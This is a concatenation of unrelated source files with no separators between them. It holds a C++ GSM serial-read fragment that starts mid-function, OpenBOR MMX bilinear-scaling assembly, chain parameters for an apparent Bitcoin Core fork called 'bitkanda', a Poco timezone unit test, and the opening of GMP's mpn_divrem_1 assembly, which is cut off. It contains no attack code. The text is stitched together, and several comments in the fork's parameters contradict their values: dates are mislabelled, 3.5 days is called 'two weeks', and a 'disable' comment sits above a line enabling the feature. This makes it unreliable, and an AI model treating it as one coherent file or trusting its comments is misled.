GSM::SerialHandler::setRxBufferAvailability(bool var){ _rxBufferAvailable = var; } /** * @brief Reads serial output. * @param incomingBytes is a number of incoming bytes of actual string in stack */ void GSM::SerialHandler::serialRead(uint8_t incomingBytes){ if(_rxBuffer != nullptr){ free(_rxBuffer); _rxBuffer = nullptr; } _rxBuffer = (char*)malloc(sizeof(char) * (incomingBytes + 1)); _pGsmSerial->readBytes(_rxBuffer, incomingBytes); _rxBuffer[incomingBytes] = '\0'; _rxBufferAvailable = true; }
; OpenBOR - http://www.chronocrash.com ; ---------------------------------------------------------------------- ; All rights reserved, see LICENSE in OpenBOR root for details. ; ; Copyright (c) 2004 - 2012 OpenBOR Team ; Scales images by 2x using bilinear filtering. This implementation uses the ; SIMD capabilities of MMX to operate on four source pixels at a time. The ; GPL-encumbered bilinear filter implementation that was in OpenBOR before ; November 2012 also had an MMX implementation, but this code was written from ; scratch by Plombo and isn't related to the old MMX implementation. %macro FUNCTION 1 %ifdef LINUX GLOBAL %1 %1: %else GLOBAL _%1 _%1: %endif %endmacro ; void _BilinearMMX(u8* srcPtr, u32 srcPitch, u8* dstPtr, u32 dstPitch, int width, int height) FUNCTION _BilinearMMX push ebp mov ebp, esp mov ecx, [ebp+8] ; srcPtr mov edx, [ebp+16] ; dstPtr mov esi, [ebp+12] ; srcPitch mov edi, [ebp+20] ; dstPitch mov ebx, 0xf7def7de movd mm7, ebx punpckldq mm7, mm7 ; 0xf7def7def7def7de shr dword [ebp+24], 2 mov ebx, [ebp+24] ; width >> 2 mov eax, [ebp+28] ; height .loopstart: movq mm0, [ecx] ; mm0 := S0 (and D0) movq mm1, [ecx+2] ; mm1 := S1 movq mm2, [ecx+esi] ; mm2 := S2 movq mm3, [ecx+esi+2] ; mm3 := S3 movq mm4, mm0 pand mm4, mm7 psrlw mm4, 1 pand mm1, mm7 psrlw mm1, 1 paddw mm1, mm4 ; mm0 := D1 movq mm5, mm0 ; mm5 := D0 punpcklwd mm0, mm1 punpckhwd mm5, mm1 movq [edx], mm0 movq [edx+8], mm5 pand mm2, mm7 psrlw mm2, 1 paddw mm4, mm2 ; mm4 := D3 pand mm3, mm7 psrlw mm3, 1 paddw mm2, mm3 pand mm2, mm7 psrlw mm2, 1 pand mm1, mm7 psrlw mm1, 1 paddw mm1, mm2 ; mm1 := D4 movq mm0, mm4 punpcklwd mm0, mm1 punpckhwd mm4, mm1 movq [edx+edi], mm0 movq [edx+edi+8], mm4 ; done with pixel, go to next pixel in row add ecx, 8 add edx, 16 dec ebx jnz .loopstart ; done with row, go to next row in source image add [ebp+8], esi ; srcPtr += srcPitch add [ebp+16], edi ; dstPtr += dstPitch add [ebp+16], edi ; dstPtr += dstPitch (because we write 2 lines of dst for every 1 line of src) mov ecx, [ebp+8] mov edx, [ebp+16] mov ebx, [ebp+24] dec eax jnz .loopstart ; done with function mov esp, ebp pop ebp emms ret
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2018 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <chainparams.h> #include <chainparamsseeds.h> #include <consensus/merkle.h> #include <tinyformat.h> #include <util/strencodings.h> #include <util/system.h> #include <versionbitsinfo.h> #include <assert.h> #include <boost/algorithm/string/classification.hpp> #include <boost/algorithm/string/split.hpp> static CBlock CreateGenesisBlock(const char* pszTimestamp, const CScript& genesisOutputScript, uint32_t nTime, uint32_t nNonce, uint32_t nBits, int32_t nVersion, const CAmount& genesisReward) { CMutableTransaction txNew; txNew.nVersion = 1; txNew.vin.resize(1); txNew.vout.resize(2); txNew.vin[0].scriptSig = CScript() << 486604799 << CScriptNum(4) << std::vector<unsigned char>((const unsigned char*)pszTimestamp, (const unsigned char*)pszTimestamp + strlen(pszTimestamp)); txNew.vout[0].nValue = genesisReward; txNew.vout[0].scriptPubKey = genesisOutputScript; txNew.vout[1].nValue = 0; std::string psznews = "The final and fifth Lunar bound orbit maneuver for Chandrayaan-2 spacecraft was performed successfully today (September 01, 2019) at 1821 hrs IST. Source ISRO Twitter."; std::vector<unsigned char> outnews(psznews.begin(), psznews.end()); txNew.vout[1].scriptPubKey = CScript() << OP_RETURN << outnews; CBlock genesis; genesis.nTime = nTime; genesis.nBits = nBits; genesis.nNonce = nNonce; genesis.nVersion = nVersion; genesis.vtx.push_back(MakeTransactionRef(std::move(txNew))); genesis.hashPrevBlock.SetNull(); genesis.hashMerkleRoot = BlockMerkleRoot(genesis); return genesis; } /** * Build the genesis block. Note that the output of its generation * transaction cannot be spent since it did not originally exist in the * database. * * CBlock(hash=000000000019d6, ver=1, hashPrevBlock=00000000000000, hashMerkleRoot=4a5e1e, nTime=1231006505, nBits=1d00ffff, nNonce=2083236893, vtx=1) * CTransaction(hash=4a5e1e, ver=1, vin.size=1, vout.size=1, nLockTime=0) * CTxIn(COutPoint(000000, -1), coinbase 04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73) * CTxOut(nValue=50.00000000, scriptPubKey=0x5F1DF16B2B704C8A578D0B) * vMerkleTree: 4a5e1e */ static CBlock CreateGenesisBlock(uint32_t nTime, uint32_t nNonce, uint32_t nBits, int32_t nVersion, const CAmount& genesisReward) { #ifdef MainNet const char* pszTimestamp = "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks"; const CScript genesisOutputScript = CScript() << ParseHex("04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f") << OP_CHECKSIG; #else const char* pszTimestamp = "The Times September 1, 2019 AD The bitkanda republic has been established on earth!"; const CScript genesisOutputScript = CScript() << ParseHex("0477b4baa1eeb25a184b78668c5a4b7def1f28e6646689c3b467876aa17066720ad90aa9c9b94446574a5ce08d03e6b878b9a187cdec6803f7469fec0114965d88") << OP_CHECKSIG; #endif return CreateGenesisBlock(pszTimestamp, genesisOutputScript, nTime, nNonce, nBits, nVersion, genesisReward); } /** * Main network */ class CMainParams : public CChainParams { public: CMainParams() { strNetworkID = "main"; consensus.nSubsidyHalvingInterval = 840000;// 210000;//subsidy consensus.BIP16Exception = uint256S("0x00"); consensus.BIP34Height = 227931; consensus.BIP34Hash = uint256S("0x000000000000024b89b42a942fe0d9fea3bb44ab7bd1b19115dd6a759c0808b8"); consensus.BIP65Height = 17490; // 000000000000000004c2b624ed5d7756c508d90fd0da2c7c679febfa6c4735f0 consensus.BIP66Height = 17490; // 00000000000000000379eaa19dce8c9b722d46ae6a57c2f1a988119488b50931 #ifdef MainNet consensus.powLimit = uint256S("00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); #else consensus.powLimit = uint256S("000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); #endif consensus.nPowTargetTimespan = 3.5 * 24 * 60 * 60; // two weeks #ifdef MainNet consensus.nPowTargetSpacing = 10 * 60; #else consensus.nPowTargetSpacing = 2.5 * 60; #endif consensus.fPowAllowMinDifficultyBlocks = false; consensus.fPowNoRetargeting = false; consensus.nRuleChangeActivationThreshold = 6048; // 95% of 2016 consensus.nMinerConfirmationWindow = 8064; // nPowTargetTimespan / nPowTargetSpacing consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28; consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 1567267200; // January 1, 2008 consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = 1567267200; // December 31, 2008 // Deployment of BIP68, BIP112, and BIP113. consensus.vDeployments[Consensus::DEPLOYMENT_CSV].bit = 0; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nStartTime = 1569681520; // May 1st, 2016 consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nTimeout = 1590567400; // May 1st, 2017 // Deployment of SegWit (BIP141, BIP143, and BIP147) consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].bit = 1; #ifdef MainNet consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nStartTime = 1479168000; // November 15th, 2016. #else consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nStartTime = 1569681520; // November 15th, 2016. #endif consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nTimeout = 1577543400; // November 15th, 2017. #ifdef MainNet // The best chain should have at least this much work. consensus.nMinimumChainWork = uint256S("0x0000000000000000000000000000000000000000051dc8b82f450202ecb3d471"); #else consensus.nMinimumChainWork = uint256S("0x00"); #endif #ifdef MainNet // By default assume that the signatures in ancestors of this block are valid. consensus.defaultAssumeValid = uint256S("0x0000000000000000000f1c54590ee18d15ec70e68c8cd4cfbadb1b4f11697eee"); //563378 #else consensus.defaultAssumeValid = uint256S("0x00"); #endif // MainNet /** * The message start string is designed to be unlikely to occur in normal data. * The characters are rarely used upper ASCII, not valid as UTF-8, and produce * a large 32-bit integer with any alignment. */ pchMessageStart[0] = 0xed;// 0xf9; pchMessageStart[1] = 0xf7;// 0xbe; pchMessageStart[2] = 0xff;// 0xb4; pchMessageStart[3] = 0xf9;// 0xd9; nDefaultPort = 8222;// 8333; nPruneAfterHeight = 100000; m_assumed_blockchain_size = 1; m_assumed_chain_state_size = 3; #ifdef MainNet genesis = CreateGenesisBlock(1231006505, 2083236893, 0x1d00ffff, 1, 50 * COIN); #else genesis = CreateGenesisBlock(1567346400, 4331, 521142271, 1, 50 * COIN); #endif consensus.hashGenesisBlock = genesis.GetHash(); #ifdef MainNet assert(consensus.hashGenesisBlock == uint256S("0x000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f")); assert(genesis.hashMerkleRoot == uint256S("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b")); #else assert(genesis.hashMerkleRoot == uint256S("5f7668b14da3376f1ed37cb72753dc7efada285af40b24c9568458036d2d2914")); assert(consensus.hashGenesisBlock == uint256S("3e710b005f24c97eca5d972f88b60bc8bf143c6822fb39af5f809eccc68b829b")); assert(genesis.GetPoWHash() == uint256S("000a39c5bff543fb1ad740f0bf42e0cb761b65d7a3c2b2a7282240bd9345a111")); #endif // Note that of those which support the service bits prefix, most only support a subset of // possible options. // This is fine at runtime as we'll fall back to using them as a oneshot if they don't support the // service bits we want, but we should get them updated to support all service bits wanted by any // release ASAP to avoid it where possible. #ifdef MainNet vSeeds.emplace_back("seed.bitcoin.sipa.be"); // Pieter Wuille, only supports x1, x5, x9, and xd vSeeds.emplace_back("dnsseed.bluematt.me"); // Matt Corallo, only supports x9 vSeeds.emplace_back("dnsseed.bitcoin.dashjr.org"); // Luke Dashjr vSeeds.emplace_back("seed.bitcoinstats.com"); // Christian Decker, supports x1 - xf vSeeds.emplace_back("seed.bitcoin.jonasschnelli.ch"); // Jonas Schnelli, only supports x1, x5, x9, and xd vSeeds.emplace_back("seed.btc.petertodd.org"); // Peter Todd, only supports x1, x5, x9, and xd vSeeds.emplace_back("seed.bitcoin.sprovoost.nl"); // Sjors Provoost vSeeds.emplace_back("dnsseed.emzy.de"); // Stephan Oeste #endif vSeeds.emplace_back("176.122.140.144"); vSeeds.emplace_back("seed.bitkanda.org"); base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1, 0); base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1, 5); base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1, 128); base58Prefixes[EXT_PUBLIC_KEY] = {0x04, 0x88, 0xB2, 0x1E}; base58Prefixes[EXT_SECRET_KEY] = {0x04, 0x88, 0xAD, 0xE4}; bech32_hrp = "bc"; #ifdef MainNet vFixedSeeds = std::vector<SeedSpec6>(pnSeed6_main, pnSeed6_main + ARRAYLEN(pnSeed6_main)); #endif fDefaultConsistencyChecks = false; fRequireStandard = true; fMineBlocksOnDemand = false; checkpointData = { { {0,uint256S("0x3e710b005f24c97eca5d972f88b60bc8bf143c6822fb39af5f809eccc68b829b")},//1567346400 0x1f0fffff {14748,uint256S("0xbeae5a14e9518923dbed9c03ded55fda3569be3d1226e2cf8ba78a4483996ba0")},//1571325477 0x1e13dd94 #ifdef MainNet {11111, uint256S("0x0000000069e244f73d78e8fd29ba2fd2ed618bd6fa2ee92559f542fdb26e7c1d")}, {33333, uint256S("0x000000002dd5588a74784eaa7ab0507a18ad16a236e7b1ce69f00d7ddfb5d0a6")}, {74000, uint256S("0x0000000000573993a3c9e41ce34471c079dcf5f52a0e824a81e7f953b8661a20")}, {105000, uint256S("0x00000000000291ce28027faea320c8d2b054b2e0fe44a773f3eefb151d6bdc97")}, {134444, uint256S("0x00000000000005b12ffd4cd315cd34ffd4a594f430ac814c91184a0d42d2b0fe")}, {168000, uint256S("0x000000000000099e61ea72015e79632f216fe6cb33d7899acb35b75c8303b763")}, {193000, uint256S("0x000000000000059f452a5f7340de6682a977387c17010ff6e6c3bd83ca8b1317")}, {210000, uint256S("0x000000000000048b95347e83192f69cf0366076336c639f9b7228e9ba171342e")}, {216116, uint256S("0x00000000000001b4f4b433e81ee46494af945cf96014816a4e2370f11b23df4e")}, {225430, uint256S("0x00000000000001c108384350f74090433e7fcf79a606b8e797f065b130575932")}, {250000, uint256S("0x000000000000003887df1f29024b06fc2200b55f8af8f35453d7be294df2d214")}, {279000, uint256S("0x0000000000000001ae8c72a0b0c301f67e3afca10e819efa9041e458e9bd7e40")}, {295000, uint256S("0x00000000000000004d9b4ef50f0f9d686fd69db2e03af35a100370c64632a983")}, #endif }}; chainTxData = ChainTxData{ // Data from rpc: getchaintxstats 4096 0000000000000000000f1c54590ee18d15ec70e68c8cd4cfbadb1b4f11697eee /* nTime */ 1550374134, /* nTxCount */ 383732546, /* dTxRate */ 3.685496590998308}; /* disable fallback fee on mainnet */ m_fallback_fee_enabled = true; } }; /** * Testnet (v3) */ class CTestNetParams : public CChainParams { public: CTestNetParams() { strNetworkID = "test"; consensus.nSubsidyHalvingInterval = 840000; consensus.BIP16Exception = uint256S("0x00000000dd30457c001f4095d208cc1296b0eed002427aa599874af7a432b105"); consensus.BIP34Height = 21111; consensus.BIP34Hash = uint256S("0x0000000023b3a96d3484e5abb3755c413e7d41500f8e2a5c3f0dd01299cd8ef8"); consensus.BIP65Height = 581885; // 00000000007f6655f22f98e72ed80d8b06dc761d5da09df0fa1dc4be4f861eb6 consensus.BIP66Height = 330776; // 000000002104c8c45e99a8853285a3b592602a3ccde2b832481da85e9e4ba182 #ifdef MainNet consensus.powLimit = uint256S("00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); #else consensus.powLimit = uint256S("00000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); #endif consensus.nPowTargetTimespan = 3.5 * 24 * 60 * 60; // two weeks #ifdef MainNet consensus.nPowTargetSpacing = 10 * 60; #else consensus.nPowTargetSpacing = 2.5 * 60; #endif consensus.fPowAllowMinDifficultyBlocks = true; consensus.fPowNoRetargeting = false; consensus.nRuleChangeActivationThreshold = 1512; // 75% for testchains consensus.nMinerConfirmationWindow = 2016; // nPowTargetTimespan / nPowTargetSpacing consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28; consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 1199145601; // January 1, 2008 consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = 1230767999; // December 31, 2008 // Deployment of BIP68, BIP112, and BIP113. consensus.vDeployments[Consensus::DEPLOYMENT_CSV].bit = 0; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nStartTime = 1456790400; // March 1st, 2016 consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nTimeout = 1493596800; // May 1st, 2017 // Deployment of SegWit (BIP141, BIP143, and BIP147) consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].bit = 1; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nStartTime = 1462060800; // May 1st 2016 consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nTimeout = 1493596800; // May 1st 2017 // The best chain should have at least this much work. //consensus.nMinimumChainWork = uint256S("0x00000000000000000000000000000000000000000000007dbe94253893cbd463"); consensus.nMinimumChainWork = uint256S("0x00"); // By default assume that the signatures in ancestors of this block are valid. consensus.defaultAssumeValid = uint256S("0x0000000000000037a8cd3e06cd5edbfe9dd1dbcc5dacab279376ef7cfc2b4c75"); //1354312 pchMessageStart[0] = 0x19;//0x0b pchMessageStart[1] = 0x09;//0x11 pchMessageStart[2] = 0x01;//0x09 pchMessageStart[3] = 0x07;//0x07 nDefaultPort = 18222;// 18333; nPruneAfterHeight = 1000; m_assumed_blockchain_size = 30; m_assumed_chain_state_size = 2; #ifdef MainNet genesis = CreateGenesisBlock(1296688602, 414098458, 0x1d00ffff, 1, 50 * COIN); #else genesis = CreateGenesisBlock(1567346400, 353159, 504365055, 1, 50 * COIN); #endif consensus.hashGenesisBlock = genesis.GetHash(); #ifdef MainNet assert(consensus.hashGenesisBlock == uint256S("0x000000000933ea01ad0ee984209779baaec3ced90fa3f408719526f8d77f4943")); assert(genesis.hashMerkleRoot == uint256S("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b")); #else assert(genesis.hashMerkleRoot == uint256S("5f7668b14da3376f1ed37cb72753dc7efada285af40b24c9568458036d2d2914")); assert(consensus.hashGenesisBlock == uint256S("8857832385ef425a7789bff259e8d7568a0bcc6a089be2732628808b0d85d929")); #endif vFixedSeeds.clear(); vSeeds.clear(); // nodes with support for servicebits filtering should be at the top #ifdef MainNet vSeeds.emplace_back("testnet-seed.bitcoin.jonasschnelli.ch"); vSeeds.emplace_back("seed.tbtc.petertodd.org"); vSeeds.emplace_back("seed.testnet.bitcoin.sprovoost.nl"); vSeeds.emplace_back("testnet-seed.bluematt.me"); // Just a static list of stable node(s), only supports x9 #endif base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1, 111); base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1, 196); base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1, 239); base58Prefixes[EXT_PUBLIC_KEY] = {0x04, 0x35, 0x87, 0xCF}; base58Prefixes[EXT_SECRET_KEY] = {0x04, 0x35, 0x83, 0x94}; bech32_hrp = "tb"; #ifdef MainNet vFixedSeeds = std::vector<SeedSpec6>(pnSeed6_test, pnSeed6_test + ARRAYLEN(pnSeed6_test)); #endif fDefaultConsistencyChecks = false; fRequireStandard = false; fMineBlocksOnDemand = false; checkpointData = { { #ifdef MainNet {546, uint256S("000000002a936ca763904c3c35fce2f3556c559c0214345d31b1bcebf76acb70")}, #endif }}; chainTxData = ChainTxData{ // Data from rpc: getchaintxstats 4096 0000000000000037a8cd3e06cd5edbfe9dd1dbcc5dacab279376ef7cfc2b4c75 /* nTime */ 1531929919, /* nTxCount */ 19438708, /* dTxRate */ 0.626}; /* enable fallback fee on testnet */ m_fallback_fee_enabled = true; } }; /** * Regression test */ class CRegTestParams : public CChainParams { public: explicit CRegTestParams(const ArgsManager& args) { strNetworkID = "regtest"; consensus.nSubsidyHalvingInterval = 150; consensus.BIP16Exception = uint256(); consensus.BIP34Height = 500; // BIP34 activated on regtest (Used in functional tests) consensus.BIP34Hash = uint256(); consensus.BIP65Height = 1351; // BIP65 activated on regtest (Used in functional tests) consensus.BIP66Height = 1251; // BIP66 activated on regtest (Used in functional tests) consensus.powLimit = uint256S("7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); consensus.nPowTargetTimespan = 3.5 * 24 * 60 * 60; // two weeks #ifdef MainNet consensus.nPowTargetSpacing = 10 * 60; #else consensus.nPowTargetSpacing = 2.5 * 60; #endif consensus.fPowAllowMinDifficultyBlocks = true; consensus.fPowNoRetargeting = true; consensus.nRuleChangeActivationThreshold = 108; // 75% for testchains consensus.nMinerConfirmationWindow = 144; // Faster than normal for regtest (144 instead of 2016) consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28; consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 0; consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = Consensus::BIP9Deployment::NO_TIMEOUT; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].bit = 0; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nStartTime = 0; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nTimeout = Consensus::BIP9Deployment::NO_TIMEOUT; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].bit = 1; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nStartTime = Consensus::BIP9Deployment::ALWAYS_ACTIVE; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nTimeout = Consensus::BIP9Deployment::NO_TIMEOUT; // The best chain should have at least this much work. consensus.nMinimumChainWork = uint256S("0x00"); // By default assume that the signatures in ancestors of this block are valid. consensus.defaultAssumeValid = uint256S("0x00"); pchMessageStart[0] = 29;// 0xfa; pchMessageStart[1] = 19;//0xbf; pchMessageStart[2] = 11;// 0xb5; pchMessageStart[3] = 17;// 0xda; nDefaultPort = 18555;// 18444; nPruneAfterHeight = 1000; m_assumed_blockchain_size = 0; m_assumed_chain_state_size = 0; UpdateVersionBitsParametersFromArgs(args); #ifdef MainNet genesis = CreateGenesisBlock(1296688602, 2, 0x207fffff, 1, 50 * COIN); #else //uint32_t nTime, uint32_t nNonce, uint32_t nBits, int32_t nVersion, const CAmount& genesisReward genesis = CreateGenesisBlock(1567346400, 0, 545259519, 1, 50 * COIN); #endif consensus.hashGenesisBlock = genesis.GetHash(); #ifdef MainNet assert(consensus.hashGenesisBlock == uint256S("0x0f9188f13cb7b2c71f2a335e3a4fc328bf5beb436012afca590b1a11466e2206")); assert(genesis.hashMerkleRoot == uint256S("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b")); #else assert(genesis.hashMerkleRoot == uint256S("5f7668b14da3376f1ed37cb72753dc7efada285af40b24c9568458036d2d2914")); assert(consensus.hashGenesisBlock == uint256S("59a0a6d4ad0ad611ee2255dd80878aa279f8479f5e90cb71f1c41ed10def7802")); #endif vFixedSeeds.clear(); //!< Regtest mode doesn't have any fixed seeds. vSeeds.clear(); //!< Regtest mode doesn't have any DNS seeds. fDefaultConsistencyChecks = true; fRequireStandard = false; fMineBlocksOnDemand = true; checkpointData = { { #ifdef MainNet {0, uint256S("0f9188f13cb7b2c71f2a335e3a4fc328bf5beb436012afca590b1a11466e2206")}, #endif }}; chainTxData = ChainTxData{ 0, 0, 0}; base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1, 111); base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1, 196); base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1, 239); base58Prefixes[EXT_PUBLIC_KEY] = {0x04, 0x35, 0x87, 0xCF}; base58Prefixes[EXT_SECRET_KEY] = {0x04, 0x35, 0x83, 0x94}; bech32_hrp = "bcrt"; /* enable fallback fee on regtest */ m_fallback_fee_enabled = true; } /** * Allows modifying the Version Bits regtest parameters. */ void UpdateVersionBitsParameters(Consensus::DeploymentPos d, int64_t nStartTime, int64_t nTimeout) { consensus.vDeployments[d].nStartTime = nStartTime; consensus.vDeployments[d].nTimeout = nTimeout; } void UpdateVersionBitsParametersFromArgs(const ArgsManager& args); }; void CRegTestParams::UpdateVersionBitsParametersFromArgs(const ArgsManager& args) { if (!args.IsArgSet("-vbparams")) return; for (const std::string& strDeployment : args.GetArgs("-vbparams")) { std::vector<std::string> vDeploymentParams; boost::split(vDeploymentParams, strDeployment, boost::is_any_of(":")); if (vDeploymentParams.size() != 3) { throw std::runtime_error("Version bits parameters malformed, expecting deployment:start:end"); } int64_t nStartTime, nTimeout; if (!ParseInt64(vDeploymentParams[1], &nStartTime)) { throw std::runtime_error(strprintf("Invalid nStartTime (%s)", vDeploymentParams[1])); } if (!ParseInt64(vDeploymentParams[2], &nTimeout)) { throw std::runtime_error(strprintf("Invalid nTimeout (%s)", vDeploymentParams[2])); } bool found = false; for (int j = 0; j < (int)Consensus::MAX_VERSION_BITS_DEPLOYMENTS; ++j) { if (vDeploymentParams[0] == VersionBitsDeploymentInfo[j].name) { UpdateVersionBitsParameters(Consensus::DeploymentPos(j), nStartTime, nTimeout); found = true; LogPrintf("Setting version bits activation parameters for %s to start=%ld, timeout=%ld\n", vDeploymentParams[0], nStartTime, nTimeout); break; } } if (!found) { throw std::runtime_error(strprintf("Invalid deployment (%s)", vDeploymentParams[0])); } } } static std::unique_ptr<const CChainParams> globalChainParams; const CChainParams& Params() { assert(globalChainParams); return *globalChainParams; } std::unique_ptr<const CChainParams> CreateChainParams(const std::string& chain) { if (chain == CBaseChainParams::MAIN) return std::unique_ptr<CChainParams>(new CMainParams()); else if (chain == CBaseChainParams::TESTNET) return std::unique_ptr<CChainParams>(new CTestNetParams()); else if (chain == CBaseChainParams::REGTEST) return std::unique_ptr<CChainParams>(new CRegTestParams(gArgs)); throw std::runtime_error(strprintf("%s: Unknown chain %s.", __func__, chain)); } void SelectParams(const std::string& network) { SelectBaseParams(network); globalChainParams = CreateChainParams(network); }
// // TimezoneTest.cpp // // $Id$ // // Copyright (c) 2004-2006, Applied Informatics Software Engineering GmbH. // and Contributors. // // Permission is hereby granted, free of charge, to any person or organization // obtaining a copy of the software and accompanying documentation covered by // this license (the "Software") to use, reproduce, display, distribute, // execute, and transmit the Software, and to prepare derivative works of the // Software, and to permit third-parties to whom the Software is furnished to // do so, all subject to the following: // // The copyright notices in the Software and this entire statement, including // the above license grant, this restriction and the following disclaimer, // must be included in all copies of the Software, in whole or in part, and // all derivative works of the Software, unless such copies or derivative // works are solely in the form of machine-executable object code generated by // a source language processor. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT // SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE // FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, // ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER // DEALINGS IN THE SOFTWARE. // #include "TimezoneTest.h" #include "CppUnit/TestCaller.h" #include "CppUnit/TestSuite.h" #include "Poco/Timezone.h" #include <iostream> using Poco::Timezone; TimezoneTest::TimezoneTest(const std::string& name): CppUnit::TestCase(name) { } TimezoneTest::~TimezoneTest() { } void TimezoneTest::testTimezone() { std::string name = Timezone::name(); std::string stdName = Timezone::standardName(); std::string dstName = Timezone::dstName(); std::cout << "Timezone Names: " << name << ", " << stdName << ", " << dstName << std::endl; int utcOffset = Timezone::utcOffset(); std::cout << "UTC Offset: " << utcOffset << std::endl; int dst = Timezone::dst(); std::cout << "DST Offset: " << dst << std::endl; } void TimezoneTest::setUp() { } void TimezoneTest::tearDown() { } CppUnit::Test* TimezoneTest::suite() { CppUnit::TestSuite* pSuite = new CppUnit::TestSuite("TimezoneTest"); CppUnit_addTest(pSuite, TimezoneTest, testTimezone); return pSuite; }
dnl x86-64 mpn_divrem_1 -- mpn by limb division. dnl Copyright 2004, 2005, 2007-2010, 2012 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C norm unorm frac C AMD K8,K9 15 15 12 C AMD K10 15 15 12 C Intel P4 44 44 43 C Intel core2 24 24 19.5 C Intel corei 19 19 18 C Intel atom 51 51 36 C VIA nano 46 44 22.5 C mp_limb_t C mpn_divrem_1 (mp_ptr qp, mp_size_t fn, C mp_srcptr np, mp_size_t nn, mp_limb_t d) C mp_limb_t C mpn_preinv_divrem_1 (mp_ptr qp, mp_size_t fn, C mp_srcptr np, mp_size_t nn, mp_limb_t d, C mp_limb_t dinv, int cnt) C INPUT PARAMETERS define(`qp', `%rdi') define(`fn_param', `%rsi') define(`up_param', `%rdx') define(`un_param', `%rcx') define(`d', `%r8') define(`dinv', `%r9') C only for mpn_preinv_divrem_1 C shift passed on stack C only for mpn_preinv_divrem_1 define(`cnt', `%rcx') define(`up', `%rsi') define(`fn', `%r12') define(`un', `%rbx') C rax rbx rcx rdx rsi rdi rbp r8 r9 r10 r11 r12 r13 r14 r15 C cnt qp d dinv ABI_SUPPORT(DOS64) ABI_SUPPORT(STD64) IFSTD(`define(`CNTOFF', `40($1)')') IFDOS(`define(`CNTOFF', `104($1)')') ASM_START() TEXT ALIGN(16) PROLOGUE(mpn_preinv_divrem_1) FUNC_ENTRY(4) IFDOS(` mov 56(%rsp), %r8 ') IFDOS(` mov 64(%rsp), %r9 ') xor R32(%rax), R32(%rax) push %r13 push %r12 push %rbp push %rbx mov fn_param, fn mov un_param, un add fn_param, un_param mov up_param, up 